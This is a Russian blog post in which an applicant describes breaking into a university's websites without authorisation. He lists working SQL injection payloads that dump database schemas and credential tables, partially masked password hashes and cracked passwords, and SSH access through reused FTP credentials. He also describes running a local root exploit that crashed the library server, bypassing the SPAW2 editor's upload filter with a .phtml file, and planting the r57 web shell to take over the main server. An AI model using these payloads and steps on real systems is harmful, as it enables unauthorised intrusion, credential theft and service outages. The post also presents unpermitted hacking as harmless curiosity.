- PVSM.RU - https://www.pvsm.ru -
Так как я абитуриент в этом году, мне пришлось просмотреть несколько сайтов российских ВУЗов и определиться, куда поступать.
Примечание: ВУЗ, о котором пойдет речь, я упоминать не буду, ибо ошибки пока не устранены, хотя письма администраторам информирующие их об уязвимостях разосланы.
Через некоторое время, когда сайты были осмотрены, тексты с зазываниями по типу «какой у нас классный ВУЗ» прочитаны, и решение было принято, я решил проверить, как у выбранного университета с безопасностью.
Полазив по сайту, получив порцию информации, по разглядывая фотографии, я заметил, что все ссылки имеют одинаковый формат: xxx.ru/?id=46&group=xxxx. [1] По старой привычке подставив кавычку в параметры я ничего толком не обнаружил, новость/статья/контент как выводились, так и выводятся. Никакой SQL инъекции в радиусе сайта не наблюдалось. Очень неплохо.
И тут я уже было хотел покинуть сие чудо дизайнерской мысли, как вдруг мне стало интересно, а что же с другими сайтами университета?
Все ли так хорошо у них? Я предполагал всего-лишь небольшой аудит безопасности, а вышло нечто большее.
Вбив в гугл запрос site:xxx.ru я наткнулся на множество поддоменов основного сайта.
Ну и конечно же начал с первого сайта в выдаче. Собственно это была библиотека университета. Без сканеров, я начал осматривать ссылки. Новости находились по ссылкам такого формата — xxx.ru/news?id=182. [2]
Ну-с, вбиваем ковычку в конец и что мы видим. Новость не выводится, ошибки нет, но она есть (прям кот Шредингера). Видимо error_reporting(0). Проверяем, дабы быть достаточно уверенными — xxx.ru/news?id=182 [3] or 1 = 1 --. Оп-па! Новость выводится, однозначно SQL инъекция.
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet.png)
Теперь дело за малым казалось, найти админку и раскрутить таблицы. Тут-то и началось веселье.
Во первых.
Поиск админки закончился заходом в файл robots.txt, где были следующие строки:
User-agent: *
Disallow: /mysql_mysql_mysql
Disallow: /admin_127864
Достаточно интересные, первая ссылка не работала, зато вторая выводила именно что админку. Информацию в сети по этой CMS я не нашел, да и не нужно было. Осталось раздабыть пароль админа и расковырять оставшуюся часть.
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-2.png)
Возвращаемся к таблицам. Пункт «Во вторых» оставим на чуть-чуть потом.
Для начала подбираем количество столбцов в таблице с помощью UNION SELECT или же ORDER BY. Я взял второе, затем использовал первое. Методом подобров и исключений я получил 9 столбцов.
xxx.ru/news?id=182 [3] ORDER BY 10 — - выдало ошибку.
xxx.ru/news?id=182 [3] ORDER BY 7 — - выдало новость.
xxx.ru/news?id=182 [3] ORDER BY 9 — - то, что надо.
Затем я уже использовал UNION SELECT соответственно — xxx.ru/news?id=-1%20UNION%20SELECT%201 [4],2,3,4,5,6,7,8,9%20--
Для получения остальной информации:
Версия БД MySQL 5.1.60 — xxx.ru/news?id=-1%20UNION%20SELECT%201 [4],2,version(),4,5,6,7,8,9%20--
Пользователь root@localhost (под рутом, боже мой) — xxx.ru/news?id=-1%20UNION%20SELECT%201 [4],2,user(),4,5,6,7,8,9%20--
Базаданных ntb1 — xxx.ru/news?id=-1%20UNION%20SELECT%201 [4],2,database(),4,5,6,7,8,9%20--
Гуд, все, что нужно для начала. 5-я версия, значит есть INFORMATION_SCHEMA и мы можем вытащить имена таблиц и столбцов. Но сперва мне стало интересно, какие базы данных есть ещё на сервере.
Для этого выполняю:
xxx.ru/news?id=-1%20UNION%20SELECT%201 [4],2,SCHEMA_NAME,4,5,6,7,8,9%20%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20--
Замечу, использовать LIMIT не пришлось, ибо все данные сразу выводятся по порядку, видимо код скрипта такой, результат из запроса он выводит в цикле.
И я получаю базы данных:
information_schema
SiteUsers
ftpusers
knigaob
mysql
ntb1
searchresult
squidctrl
squidlog
stg
А вот теперь и во вторых:
Больше всего меня заинтересовало конечно же ntb1, которую использует CMS, и ftpusers, значит пользователи от FTP хранятся в базе данных. Взлом становится ещё проще.
Так как вывод можно сделать полностью и сразу всего одной страницой, пускай и большой, я не стал медлить на написание кучи запросов и сделал так с помощью команды concat:
xxx.ru/news?id=-1%20UNION%20SELECT%201 [4],2,CONCAT(TABLE_SCHEMA,%200x7c,%20TABLE_NAME,%200x7c,%20COLUMN_NAME),4,5,6,7,8,9%20%20FROM%20INFORMATION_SCHEMA.COLUMNS%20--
Собственно мы получили все поля, таблицы и их базы данных через символ — "|" на огромной странице. К слову, CONCAT объеденяет значения в MySQL. А 0x7c для тех, кто в танке — это SQL Hex реализация символа "|". Вот.
Но что меня больше всего заинтересовало, это таблицы и поля:
ftpusers|admin|Username
ftpusers|admin|Password
И для админки CMS:
ntb1|admin|user
ntb1|admin|pass
Классно, все как на ладони, можно даже было никакого сайта не делать, а сразу дать полный доступ на сервер для всех, да и все. Получаем пароли (не буду рассказывать, надоело постить ссылки с SQL кодом, тем более статья не об этом):
Для CMS:
ntb_srstu:924b8a7a7d1a7e64e1d196a1a05xxxxx
Для FTP:
Administrator:a38492721c6c1b0d48484a9b80axxxxx
userweb:1882759edc6ef542574fe0d307dxxxxx
gorb:63c148d92a178e5cd34c879372exxxxx
Пароли в md5, однако google с легкостью их расшифровал, кроме пароля для Administrator:
ntb_srstu:hw1xxx
userweb:xxxxx
gorb:minxxxxx
Но несмотря на все мои старания, админка не работала, да, авторизация вроде происходила, но после чего появлялось сообщение об ошибке, как на картинке (видимо новый эзотерический метод защиты):
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-3.png)
С доступом по FTP все было ничуть не лучше, всего пара директорий и ничего более-менее интересного.
На сервере был доступ по SSH. Это была последняя возможность пробраться на сервер, честно говоря, я в неё абсолютно не верил. Включаю Putty, ввожу логин и пароль от администратора CMS, не заходит, ввожу логин и пароль от FTP. И это работает! Я не мог поверить своим глазам, ну как?!? Как можно настолько халатно относиться к безопасности?
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-4.png)
И в общем в итоге я оказался на самом сервере библиотеки, не под рутом, но все же. Чуть полазив по серверу и по доступным мне директориям и файлам я нашел файл конфигурации какой-то локальной службы, в нем соответственно были логин и пароль для подключения к базе данных: root:,tcrjytxyjcnmxxxxx.
Супер. Казалось бы, стоило отписать админу, чтоб он прикрыл дыры в безопасности, и отправляться довольно отдыхать, но не тут-то было. Я ещё полазил по серверу, по базам данных, разглядывал документы, просматривал папки, чисто для интереса. И тут мне захотелось стать рутом. Узнав версию сервера, это был FreeBSD 8.0 RELEASE, я начал искать локальный root эксплоит для всего этого дела.
Долго ходить не пришлось, я наткнулся на этот экземпляр — rdot.org/forum/showthread.php?t=1895. [5] Скачал, загрузил на сервер по ftp и запустил. Уязвимость должна была использовать какую-то проблему с сокетами в Unix. Через несколько минут вместо того, чтобы дать мне root'а, эксплоит полностью положил сервер. Сайт не открывался, пинг не шел, все висело.
Стало понятно, что этот путь уже не катит, перезапускать сплоит снова было бы риском полностью потерять сервер, в случае его очередного падения. Да и тем более, этим вечером его перезапускать никто и не собирался. Потому было решено пойти дальше и осмотреть другие сайты университета, дабы не терять время. Снова гугл, снова site:xxx.ru.
Ничего интересного на первых страницах не было, то Joomla, то что-то самописное. Как-то на одном из поддоменов одного факультета в директории admin было и такое (кошмар):
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-5.png)
А при переходе на сам скрипт такое (где проходить саму авторизацию — неизвестно):
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-6.png)
В итоге полазив по страничкам гугла я наткнулся на сайт ещё одного факультета. Вбив xxx.ru/index.php?id=23 [6]' я не обнаружил SQL инъекции, но все же решил посетить админку, и глянуть, что там такое стоит. Перейдя по ссылке admin.index.php я обнаружил, что это, по словам разработчиков, «Панель администратора [with PHP SPAW2 Editor]».
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-7.png)
Никогда не сталкивался с SPAW редактором, потому немного поискал информацию о нем и нашел уязвимость.
Уязвимость заключалось в том, что любой пользователь может загрузить произвольный файл с расширением php, обойдя фильтр. Чуть более подробнее — www.exploit-db.com/exploits/12672/ [7]
Так как директории сайта не были проиндексированны, мне ничего не стоило найти папку /spaw2/dialogs/ и файл dialog.php — xxx.ru/admin/spaw2/dialogs/dialog.php. [8]
Перейдя по специальной ссылке из описания уязвимости я увидел перед собой полноценный файловый менеджер.
xxx.ru/admin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files [9]
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-8.png)
Примечание: имена файлов замазаны от незатейливого читателя.
Теперь попробуем загрузить небольшой шелл и получить phpinfo(). В описании уязвимости гласило, что для обхода фильтра имя файла должно иметь примерно следующий формат: shell.jpg.php или же shell.php;,jpg
Но как я не пытался, загрузить файлы с такими расширениями, не получалось. Пришлось искать обходные пути. Заливать можно было документы (doc, docx, pdf), html файлы, изображения, и все, что по сути не должно было идти в ущерб безопасности (однако это не так). Файл .htaccess тоже грузился, но работать не хотел. Потому моя идея через .htaccess назначить файлы *.html исполняемыми php файлами не получилась:
AddType application/x-httpd-php .html
Методом проб и тыков фильтры ну просто никак не получалось обойти, *.php не грузилось. Совсем отчаявшись я решил погрузить файл с расширением phtml, но шансов не было, редко кто оставляет этот формат включенным для php скриптов.
Создаем info.phtml c <?php phpinfo(); ?> и грузим. На удивление phtml отлично грузится. Ну-с, давайте попробуем, проверим работу скрипта — xxx.ru/admin/spaw2/xxx/files/info.phtml [10]
Работает! Да, именно, я увидел всю информацию из phpinfo(). Что же, дело за малым, загрузить шелл и мы на сервере.
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-9.png)
Я взял шелл под названием r57shell.php, ибо он компактный, всего один файл, и простой в использовании. Можно скачать по ссылке r57.biz [11]
Залив в папку шелл, перед этим поменяв расширение на phtml, я получил доступ на сервер. Оказавшись в директории сайта, я чуть полазил по исходникам, затем мне стало интересно, какие сайты ещё хостятся на сервере.
![[recovery mode] Hack ВУЗа или как я выбирал университет [recovery mode] Hack ВУЗа или как я выбирал университет](http://www.pvsm.ru/images/-recovery-mode-Hack-vuza-ili-kak-ya-vybiral-universitet-10.png)
На удивление, я не заметил, как оказался на главном сервере, здесь были директории с основными сайтами ВУЗа, 70% сайтов университета были полностью в моем распоряжении. Базы данных, почта, пароли администраторов и даже ректора. Мне больше ничего не нужно было. Я мог дефейснуть главную страницу, стащить базу и исходники, но не стал хулиганить :) Да и не очень законно это.
В общем это было верхом халатности, получается что, любой студент, писавший статьи на сайт факультета или расписание, мог загрузить php скрипт и иметь в своем доступе основной сайт университета.
Что меня особенно удивило, так это то, что исходники главного сайта валялись в свободном доступе в архиве в корневой директории самого сайта. *facepalm*
В итоге решив, что день прожит не зря, я отписал письма администраторам и пошел довольный спать. Через некоторое время часть дыр залатали.
Можно сделать несколько выводов:
— Как не нужно делать сайты.
— Как важно следить за обновлениями.
— Как важно иметь везде разные сложные пароли.
— Как важно закрывать доступы к админкам, SSH, FTP.
— etc.
Я не могу сказать, выделяет ли бюджет средства на такие вещи, как веб-сайты и представительства ВУЗа в сети. Так что, если он выделяет, то деньги видимо были просто пропиты. Если же нет, и эти сайты делают голодающие студенты за еду и зачетку, то я их отчасти понимаю, но все-же, не оставлять же дыры на каждом шагу. Тем более, дыры абсолютно классические.
P.S. К слову ВУЗ не абы какой, а достаточно большой, известный и технический, более-менее авторитетный. Потому за такие ошибки, на мой взгляд, должно быть стыдно.
Поправляйте орфографию, если где ошибся.
Автор: MrPovod
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vzlom/8587
Ссылки в тексте:
[1] xxx.ru/?id=46&group=xxxx.: http://xxx.ru/?id=46&group=xxxx.
[2] xxx.ru/news?id=182.: http://xxx.ru/news?id=182.
[3] xxx.ru/news?id=182: http://xxx.ru/news?id=182
[4] xxx.ru/news?id=-1%20UNION%20SELECT%201: http://xxx.ru/news?id=-1%20UNION%20SELECT%201
[5] rdot.org/forum/showthread.php?t=1895.: https://rdot.org/forum/showthread.php?t=1895.
[6] xxx.ru/index.php?id=23: http://xxx.ru/index.php?id=23
[7] www.exploit-db.com/exploits/12672/: http://www.exploit-db.com/exploits/12672/
[8] xxx.ru/admin/spaw2/dialogs/dialog.php.: http://xxx.ru/admin/spaw2/dialogs/dialog.php.
[9] xxx.ru/admin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files: http://xxx.ru/admin/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files
[10] xxx.ru/admin/spaw2/xxx/files/info.phtml: http://xxx.ru/admin/spaw2/xxx/files/info.phtml
[11] r57.biz: http://r57.biz
Нажмите здесь для печати.